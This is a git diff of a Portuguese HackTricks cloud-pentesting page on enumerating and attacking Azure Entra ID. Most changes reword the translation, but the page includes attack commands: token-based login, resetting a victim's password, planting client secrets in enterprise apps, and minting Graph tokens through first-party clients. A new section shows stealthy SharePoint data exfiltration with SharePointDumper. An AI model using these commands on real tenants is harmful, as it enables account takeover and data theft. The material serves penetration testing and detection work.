mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Active Directory (Azure AD) serve como o serviço baseado em nuvem da Microsoft para gerenciamento de identidade e acesso. É fundamental para permitir que os funcionários façam login e tenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o portal Azure e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, incluindo **autenticação, autorização e gerenciamento de usuários**.
|
||||
Azure Active Directory (Azure AD) funciona como o serviço baseado em nuvem da Microsoft para identidade e gerenciamento de acesso. Ele é instrumental para permitir que funcionários façam sign in e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando **autenticação, autorização e gerenciamento de usuários**.
|
||||
|
||||
As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Essas características elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e fazer cumprir suas políticas de acesso de forma eficaz. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários.
|
||||
Recursos-chave do Azure AD envolvem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é vital para o gerenciamento baseado em nuvem das identidades de usuários.
|
||||
|
||||
## Enumeração
|
||||
|
||||
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
|
||||
|
||||
# Connect with access token
|
||||
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
|
||||
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
|
||||
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
@@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Quando você **faz login** via **CLI** no Azure com qualquer programa, você está usando uma **Aplicação Azure** de um **tenant** que pertence à **Microsoft**. Essas Aplicações, como as que você pode criar em sua conta, **têm um id de cliente**. Você **não poderá ver todas elas** nas **listas de aplicações permitidas** que você pode ver no console, **mas elas são permitidas por padrão**.
|
||||
Quando você faz **login** via **CLI** no Azure com qualquer programa, você está usando uma **Azure Application** de um **tenant** que pertence à **Microsoft**. Essas aplicações, como as que você pode criar na sua conta, **têm um client id**. Você **não conseguirá ver todas elas** nas **listas de aplicações permitidas** que pode ver no console, **mas elas são permitidas por padrão**.
|
||||
|
||||
Por exemplo, um **script powershell** que **autentica** usa um app com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App.
|
||||
Por exemplo, um **powershell script** que **autentica** usa uma app com client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que a app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via essa App.
|
||||
|
||||
No entanto, existem **outros ids de cliente** de aplicações que **permitirão que você se conecte ao Azure**:
|
||||
No entanto, existem **outros client-ids** de aplicações que **vão permitir que você se conecte ao Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -213,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
```
|
||||
### Inquilinos
|
||||
### Locatários
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -357,23 +358,23 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Alterar Senha do Usuário
|
||||
#### Alterar senha do usuário
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
### MFA & Políticas de Acesso Condicional
|
||||
|
||||
É altamente recomendável adicionar MFA a cada usuário, no entanto, algumas empresas não o farão ou podem configurá-lo com um Acesso Condicional: O usuário será **obrigado a usar MFA se** fizer login de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser propensas a **bypasses**. Verifique:
|
||||
É altamente recomendável habilitar MFA para todos os usuários; entretanto, algumas empresas não o configuram ou podem configurá-lo com um Conditional Access: o usuário será **obrigado a usar MFA se** fizer login a partir de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Ver:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Groups
|
||||
### Grupos
|
||||
|
||||
Para mais informações sobre grupos do Entra ID, verifique:
|
||||
Para mais informações sobre grupos do Entra ID, veja:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -487,16 +488,16 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele poderia abusar dessa funcionalidade para **entrar em outros grupos**.\
|
||||
> Confira como abusar de grupos dinâmicos na página a seguir:
|
||||
> Grupos podem ser dinâmicos, o que basicamente significa que **se um user cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **user** pode **controlar**, ele pode abusar dessa funcionalidade para **entrar em outros grupos**.\
|
||||
> Veja como abusar de grupos dinâmicos na seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
### Principais Serviços
|
||||
### Service Principals
|
||||
|
||||
Para mais informações sobre principais serviços do Entra ID, confira:
|
||||
Para mais informações sobre Entra ID service principals consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> O proprietário de um Service Principal pode alterar sua senha.
|
||||
> O Owner de um Service Principal pode alterar sua senha.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Liste e tente adicionar um segredo de cliente em cada Aplicativo Empresarial</summary>
|
||||
<summary>Liste e tente adicionar um client secret em cada Enterprise App</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -708,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### Aplicações
|
||||
|
||||
Para mais informações sobre Aplicações, consulte:
|
||||
Para mais informações sobre Aplicações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Quando um App é gerado, 2 tipos de permissões são concedidas:
|
||||
Quando uma Aplicação é gerada, são concedidos dois tipos de permissões:
|
||||
|
||||
- **Permissões** dadas ao **Service Principal**
|
||||
- **Permissões** que o **app** pode ter e usar em **nome do usuário**.
|
||||
- **Permissões** concedidas ao **Service Principal**
|
||||
- **Permissões** que a **aplicação** pode ter e usar em **nome do usuário**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators (full access over apps)
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -792,17 +820,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Um aplicativo com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo-se o papel.\
|
||||
> Para mais informações [**verifique isso**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo o role.\
|
||||
> Para mais informações [**veja isto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo.\
|
||||
> Portanto, se encontrar esta **senha**, você pode acessar como o **service principal** **dentro** do **tenant**.\
|
||||
> Note que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
|
||||
> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que ele possa se passar por ele).\
|
||||
> Logins como esses service principals **não são marcados como arriscados** e **não terão MFA.**
|
||||
> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a application password.\
|
||||
> Portanto, se encontrar esta **password** você pode acessar como o **service principal** **dentro** do **tenant**.\
|
||||
> Observe que esta **password** só fica visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
|
||||
> O **owner** da **application** pode **add a password** a ela (assim ele pode se passar por ela).\
|
||||
> Logins como esses **service principals** não são marcados como arriscados e eles **não terão MFA.**
|
||||
|
||||
É possível encontrar uma lista de IDs de aplicativos comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
É possível encontrar uma lista de App IDs comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -824,7 +852,7 @@ az identity list --output table
|
||||
|
||||
### Funções do Azure
|
||||
|
||||
Para mais informações sobre funções do Azure, consulte:
|
||||
Para mais informações sobre as funções do Azure, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -909,9 +937,9 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Funções do Entra ID
|
||||
### Entra ID Roles
|
||||
|
||||
Para mais informações sobre funções do Azure, consulte:
|
||||
Para mais informações sobre Azure roles, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Se um dispositivo (VM) estiver **juntado ao AzureAD**, usuários do AzureAD poderão **fazer login**.\
|
||||
> Além disso, se o usuário logado for **Proprietário** do dispositivo, ele será **administrador local**.
|
||||
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\
|
||||
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **local admin**.
|
||||
|
||||
### Unidades Administrativas
|
||||
|
||||
Para mais informações sobre unidades administrativas, consulte:
|
||||
Para mais informações sobre unidades administrativas consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1072,13 +1100,60 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Escalação de Privilégios do Entra ID
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper itself **does not authenticate**; supply an access token (optionally refresh token).
|
||||
- Pre-consented **first-party clients** can be abused to mint a Graph token without registering an app. Example `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
|
||||
|
||||
# Other pre-consented clients
|
||||
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
|
||||
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
|
||||
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente requerem `-Origin` para satisfazer a validação de origem da reply URL.
|
||||
|
||||
### Executando SharePointDumper para enumeration + exfiltration
|
||||
|
||||
- Dump básico com UA / proxy / throttling personalizado:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- Controle de escopo: incluir/excluir sites ou extensões e limites globais:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Retomar** execuções interrompidas (reenumera, mas ignora itens baixados):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Atualização automática do token em HTTP 401** (requer EntraTokenAid carregado):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Notas operacionais:
|
||||
|
||||
- Prefere tokens **CAE-enabled** para evitar expiração no meio da execução; tentativas de atualização não são registradas no log da API da ferramenta.
|
||||
- Gera **CSV/JSON request logs** para **Graph + SharePoint** e oculta por padrão os tokens de download incorporados do SharePoint (configurável).
|
||||
- Suporta **User-Agent personalizado**, **HTTP proxy**, **atraso por requisição + jitter**, e **desligamento seguro com Ctrl+C** para modelagem de tráfego durante testes de detecção/IR.
|
||||
|
||||
## Escalada de Privilégios do Entra ID
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Escalação de Privilégios do Azure
|
||||
## Escalada de Privilégios do Azure
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
@@ -1086,60 +1161,62 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Mecanismos Defensivos
|
||||
|
||||
### Gerenciamento de Identidade Privilegiada (PIM)
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
O Gerenciamento de Identidade Privilegiada (PIM) no Azure ajuda a **prevenir privilégios excessivos** sendo atribuídos a usuários desnecessariamente.
|
||||
Privileged Identity Management (PIM) no Azure ajuda a **evitar que privilégios excessivos** sejam atribuídos a usuários desnecessariamente.
|
||||
|
||||
Uma das principais características fornecidas pelo PIM é que permite não atribuir funções a principais que estão constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar essa função, ele precisa solicitá-la indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **administrador precisa aprovar** a solicitação.\
|
||||
Observe que o usuário também poderá solicitar para **estender** o tempo.
|
||||
Uma das principais funcionalidades do PIM é que ele permite não atribuir papéis a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Depois, sempre que o usuário quiser ativar esse papel, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **admin precisa aprovar** a solicitação.\
|
||||
Observe que o usuário também poderá solicitar a **extensão** do tempo.
|
||||
|
||||
Além disso, **o PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém.
|
||||
Além disso, o **PIM envia e-mails** sempre que um papel privilegiado é atribuído a alguém.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quando o PIM está habilitado, é possível configurar cada função com certos requisitos, como:
|
||||
Quando o PIM está habilitado é possível configurar cada papel com certos requisitos como:
|
||||
|
||||
- Duração máxima (horas) de ativação
|
||||
- Duração máxima (horas) da ativação
|
||||
- Exigir MFA na ativação
|
||||
- Exigir contexto de autenticação de Acesso Condicional
|
||||
- Exigir contexto de autenticação do Conditional Access
|
||||
- Exigir justificativa na ativação
|
||||
- Exigir informações de ticket na ativação
|
||||
- Exigir aprovação para ativar
|
||||
- Tempo máximo para expirar as atribuições elegíveis
|
||||
- Muitas mais configurações sobre quando e quem enviar notificações quando certas ações acontecem com esse papel
|
||||
- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações acontecerem com esse papel
|
||||
|
||||
### Políticas de Acesso Condicional
|
||||
### Políticas de Conditional Access
|
||||
|
||||
Verifique:
|
||||
Check:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Proteção de Identidade do Entra
|
||||
### Entra Identity Protection
|
||||
|
||||
A Proteção de Identidade do Entra é um serviço de segurança que permite **detectar quando um usuário ou um login é muito arriscado** para ser aceito, permitindo **bloquear** o usuário ou a tentativa de login.
|
||||
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou uma tentativa de sign-in é muito arriscada** para ser aceita, permitindo **bloquear** o usuário ou a tentativa de sign-in.
|
||||
|
||||
Permite que o administrador configure para **bloquear** tentativas quando o risco é "Baixo e acima", "Médio e acima" ou "Alto". Embora, por padrão, esteja completamente **desativado**:
|
||||
Permite que o admin o configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Porém, por padrão está completamente **desabilitado**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Atualmente, é recomendado adicionar essas restrições por meio de políticas de Acesso Condicional, onde é possível configurar as mesmas opções.
|
||||
> Hoje em dia é recomendado adicionar essas restrições via políticas de Conditional Access, onde é possível configurar as mesmas opções.
|
||||
|
||||
### Proteção de Senha do Entra
|
||||
### Entra Password Protection
|
||||
|
||||
A Proteção de Senha do Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas ao bloquear contas quando várias tentativas de login malsucedidas ocorrem**.\
|
||||
Também permite **proibir uma lista de senhas personalizadas** que você precisa fornecer.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login sem sucesso ocorrem**.\
|
||||
Também permite **proibir uma lista personalizada de senhas** que você precisa fornecer.
|
||||
|
||||
Pode ser **aplicada tanto** no nível da nuvem quanto no Active Directory local.
|
||||
Pode ser **aplicado tanto** no nível cloud quanto no Active Directory on-premises.
|
||||
|
||||
O modo padrão é **Auditoria**:
|
||||
O modo padrão é **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user